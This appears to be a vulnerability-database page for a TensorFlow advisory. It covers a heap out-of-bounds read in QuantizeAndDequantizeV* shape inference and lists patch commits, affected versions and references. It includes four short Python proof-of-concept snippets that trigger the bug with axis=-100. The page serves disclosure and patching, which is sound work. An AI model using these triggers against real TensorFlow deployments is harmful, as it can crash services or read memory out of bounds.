Heap OOB read in all `tf.raw_ops.QuantizeAndDequantizeV*` ops
### Impact The [shape inference functions for the `QuantizeAndDequantizeV*` operations](https://github.com/tensorflow/tensorflow/blob/8d72537c6abf5a44103b57b9c2e22c14f5f49698/tensorflow/core/ops/array_ops.cc) can trigger a read outside of bounds of heap allocated array as illustrated in the following sets of PoCs: ```python import tensorflow as tf @tf.function def test(): data=tf.raw_ops.QuantizeAndDequantizeV4Grad( gradients=[1.0,1.0], input=[1.0,1.0], input_min=[1.0,10.0], input_max=[1.0,10.0], axis=-100) return data test() ``` ```python import tensorflow as tf @tf.function def test(): data=tf.raw_ops.QuantizeAndDequantizeV4( input=[1.0,1.0], input_min=[1.0,10.0], input_max=[1.0,10.0], signed_input=False, num_bits=10, range_given=False, round_mode='HALF_TO_EVEN', narrow_range=False, axis=-100) return data test() ``` ```python import tensorflow as tf @tf.function def test(): data=tf.raw_ops.QuantizeAndDequantizeV3( input=[1.0,1.0], input_min=[1.0,10.0], input_max=[1.0,10.0], signed_input=False, num_bits=10, range_given=False, narrow_range=False, axis=-100) return data test() ``` ```python import tensorflow as tf @tf.function def test(): data=tf.raw_ops.QuantizeAndDequantizeV2( input=[1.0,1.0], input_min=[1.0,10.0], input_max=[1.0,10.0], signed_input=False, num_bits=10, range_given=False, round_mode='HALF_TO_EVEN', narrow_range=False, axis=-100) return data test() ``` In all of these cases, `axis` is a negative value different than the special value used for optional/unknown dimensions (i.e., -1). However, the code ignores the occurences of these values: ```cc ... if (axis != -1) { ... c->Dim(input, axis); ... } ``` ### Patches We have patched the issue in GitHub commit [7cf73a2274732c9d82af51c2bc2cf90d13cd7e6d](https://github.com/tensorflow/tensorflow/commit/7cf73a2274732c9d82af51c2bc2cf90d13cd7e6d). The fix will be included in TensorFlow 2.7.0. We will also cherrypick this commit on TensorFlow 2.6.1, TensorFlow 2.5.2, and TensorFlow 2.4.4, as these are also affected and still in supported range. ### For more information Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions. ### Attribution This vulnerability has been reported by members of the Aivul Team from Qihoo 360.
02 / AFFECTED SOFTWARE
Affected packages
57 explicit affected versions
22 explicit affected versions
57 explicit affected versions
19 explicit affected versions
59 explicit affected versions
72 explicit affected versions
24 explicit affected versions
03 / CONNECTIONS
Connected vulnerabilities
04 / EVIDENCE
Source records
TensorFlow is an open source platform for machine learning. In affected versions the shape inference functions for the `QuantizeAndDequantizeV*` operations can trigger a read outside of bounds of heap allocated array. The fix will be included in TensorFlow 2.7.0. We will also cherrypick this commit on TensorFlow 2.6.1, TensorFlow 2.5.2, and TensorFlow 2.4.4, as these are also affected and still in supported range.
### Impact The [shape inference functions for the `QuantizeAndDequantizeV*` operations](https://github.com/tensorflow/tensorflow/blob/8d72537c6abf5a44103b57b9c2e22c14f5f49698/tensorflow/core/ops/array_ops.cc) can trigger a read outside of bounds of heap allocated array as illustrated in the following sets of PoCs: ```python import tensorflow as tf @tf.function def test(): data=tf.raw_ops.QuantizeAndDequantizeV4Grad( gradients=[1.0,1.0], input=[1.0,1.0], input_min=[1.0,10.0], input_max=[1.0,10.0], axis=-100) return data test() ``` ```python import tensorflow as tf @tf.function def test(): data=tf.raw_ops.QuantizeAndDequantizeV4( input=[1.0,1.0], input_min=[1.0,10.0], input_max=[1.0,10.0], signed_input=False, num_bits=10, range_given=False, round_mode='HALF_TO_EVEN', narrow_range=False, axis=-100) return data test() ``` ```python import tensorflow as tf @tf.function def test(): data=tf.raw_ops.QuantizeAndDequantizeV3( input=[1.0,1.0], input_min=[1.0,10.0], input_max=[1.0,10.0], signed_input=False, num_bits=10, range_given=False, narrow_range=False, axis=-100) return data test() ``` ```python import tensorflow as tf @tf.function def test(): data=tf.raw_ops.QuantizeAndDequantizeV2( input=[1.0,1.0], input_min=[1.0,10.0], input_max=[1.0,10.0], signed_input=False, num_bits=10, range_given=False, round_mode='HALF_TO_EVEN', narrow_range=False, axis=-100) return data test() ``` In all of these cases, `axis` is a negative value different than the special value used for optional/unknown dimensions (i.e., -1). However, the code ignores the occurences of these values: ```cc ... if (axis != -1) { ... c->Dim(input, axis); ... } ``` ### Patches We have patched the issue in GitHub commit [7cf73a2274732c9d82af51c2bc2cf90d13cd7e6d](https://github.com/tensorflow/tensorflow/commit/7cf73a2274732c9d82af51c2bc2cf90d13cd7e6d). The fix will be included in TensorFlow 2.7.0. We will also cherrypick this commit on TensorFlow 2.6.1, TensorFlow 2.5.2, and TensorFlow 2.4.4, as these are also affected and still in supported range. ### For more information Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions. ### Attribution This vulnerability has been reported by members of the Aivul Team from Qihoo 360.
TensorFlow is an open source platform for machine learning. In affected versions the shape inference functions for the `QuantizeAndDequantizeV*` operations can trigger a read outside of bounds of heap allocated array. The fix will be included in TensorFlow 2.7.0. We will also cherrypick this commit on TensorFlow 2.6.1, TensorFlow 2.5.2, and TensorFlow 2.4.4, as these are also affected and still in supported range.
TensorFlow is an open source platform for machine learning. In affected versions the shape inference functions for the `QuantizeAndDequantizeV*` operations can trigger a read outside of bounds of heap allocated array. The fix will be included in TensorFlow 2.7.0. We will also cherrypick this commit on TensorFlow 2.6.1, TensorFlow 2.5.2, and TensorFlow 2.4.4, as these are also affected and still in supported range.
TensorFlow is an open source platform for machine learning. In affected versions the shape inference functions for the `QuantizeAndDequantizeV*` operations can trigger a read outside of bounds of heap allocated array. The fix will be included in TensorFlow 2.7.0. We will also cherrypick this commit on TensorFlow 2.6.1, TensorFlow 2.5.2, and TensorFlow 2.4.4, as these are also affected and still in supported range.
TensorFlow is an open source platform for machine learning. In affected versions the shape inference functions for the `QuantizeAndDequantizeV*` operations can trigger a read outside of bounds of heap allocated array. The fix will be included in TensorFlow 2.7.0. We will also cherrypick this commit on TensorFlow 2.6.1, TensorFlow 2.5.2, and TensorFlow 2.4.4, as these are also affected and still in supported range.
05 / REFERENCES
Further evidence
- https://github.com/tensorflow/tensorflow/commit/7cf73a2274732c9d82af51c2bc2cf90d13cd7e6d
- https://github.com/tensorflow/tensorflow/security/advisories/GHSA-49rx-x2rw-pc6f
- https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-615.yaml
- https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-813.yaml
- https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-398.yaml
- https://github.com/tensorflow/tensorflow
- https://nvd.nist.gov/vuln/detail/CVE-2021-41205